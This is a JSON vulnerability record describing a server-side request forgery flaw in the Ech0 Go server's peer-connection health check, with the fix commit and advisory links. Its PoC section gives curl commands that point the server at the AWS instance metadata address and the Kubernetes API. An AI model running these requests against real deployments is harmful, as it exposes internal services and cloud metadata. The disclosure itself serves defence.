{"id":"CVE-2026-79659","aliases":["GHSA-8mc6-xjpr-h98x","GO-2026-5259"],"url":"https://o3.security/vulnerability/CVE-2026-79659","summary":"Ech0 before 4.7.3 Server-Side Request Forgery via fetchPeerConnectInfo","details":"## Summary\nThe `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.\n\n## Details\nIn `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function:\n```go\nfunc fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {\n    url := httpUtil.TrimURL(peerConnectURL) + \"/api/connect\"\n    resp, err := httpUtil.SendRequest(url, \"GET\", struct {...}{...}, requestTimeout)\n```\n\nThis uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it.\n\nCalled from:\n- Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)`\n- - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)`\n## PoC\n```bash\n# 1. Add a connection pointing to AWS metadata service\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -d '{\"connect_url\": \"http://169.254.169.254/latest/meta-data/instance-id\"}'\n\n# 2. Trigger SSRF via health check\ncurl -H \"Authorization: Bearer <token>\" \\\n  \"https://ech0.example.com/api/connects/health\"\n# Returns AWS EC2 instance ID\n```\n\nOr for Kubernetes:\n```bash\ncurl -X POST \"https://ech0.example.com/api/connects\" \\\n  -H \"Authorization: Bearer <token>\" \\\n  -d '{\"connect_url\": \"http://kubernetes.default.svc.cluster.local:443/api\"}'\n```\n\n## Impact\n- **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API\n- - **CWE-918**: Server-Side Request Forgery","published":"2026-08-25T11:33:23.996Z","modified":"2026-10-28T02:30:55.744422748Z","cvss":null,"epss":{"score":0.00209,"percentile":0.11255,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","fixedVersion":"1.4.8-0.20260503040602-091d26d2d942"}],"fix":{"url":"https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc","label":"lin-snow/Ech0@091d26d"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79659.json"},{"type":"ADVISORY","url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-8mc6-xjpr-h98x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79659"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/ech0-before-server-side-request-forgery-via-fetchpeerconnectinfo"},{"type":"WEB","url":"https://github.com/lin-snow/Ech0/commit/091d26d2d942df6df9f520328d2f9cf2592bbefc"},{"type":"PACKAGE","url":"https://github.com/lin-snow/Ech0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:55.744422748Z"}}